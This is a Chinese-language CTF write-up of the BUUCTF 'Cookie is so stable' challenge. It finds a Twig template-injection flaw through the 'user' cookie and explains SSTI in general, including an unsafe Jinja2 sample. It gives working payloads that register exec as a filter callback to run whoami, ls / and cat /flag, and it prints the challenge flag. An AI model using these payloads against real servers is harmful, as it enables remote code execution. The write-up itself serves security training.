BUUCTF——Cookie is so stable
進入靶場
頁面有點熟悉 跟之前做過的靶場有點像
先簡單看一看靶場信息
有幾個功能點
flag.php
隨便輸了個admin
根據題目提示
應該與cookie有關
抓包看看
構造payload
Cookie: PHPSESSID=ef0623af2c1a6d2012d57f3529427d52; user={{7*'7'}}
有回顯
漏洞能利用
確定了是SSTI注入漏洞
簡單解釋一下SSTI注入漏洞
SSTI(Server-Side Template Injection)是一種服務器端模板注入漏洞,發生在應用程序使用模板引擎渲染用戶輸入時。當用戶輸入被直接嵌入到模板中而沒有經過適當處理時,攻擊者可以注入模板指令,從而在服務器上執行任意代碼。
常見的易受攻擊的模板引擎
- Java: FreeMarker, Velocity, Thymeleaf
- Python: Jinja2, Mako, Tornado
- PHP: Twig, Smarty
- JavaScript: Pug (Jade), Handlebars, EJS
- Ruby: ERB, Slim
漏洞原理
當應用程序這樣處理用戶輸入時容易受到攻擊:
# 危險示例 (Python/Jinja2)
from jinja2 import Templateuser_input = request.GET.get('name')
template = Template("Hello " + user_input)
rendered = template.render()
攻擊者可以提交{{7*7}}
作為輸入,如果輸出是Hello 49
,則表明存在SSTI漏洞。
漏洞危害
- 遠程代碼執行(RCE)
- 敏感信息泄露
- 服務器文件系統訪問
- 網絡訪問
- 權限提升
檢測方法
嘗試插入簡單的模板表達式如{{7*7}}
、${7*7}
或<%= 7*7 %>
,觀察是否被計算
確定是php的SSTI漏洞
構造payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}
回顯不完整,那就盲猜在根目錄下
構造payload直接讀取
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
拿到flag
flag{82e4f065-ae52-4f68-b994-ef7cd86b13be}
下播!!!!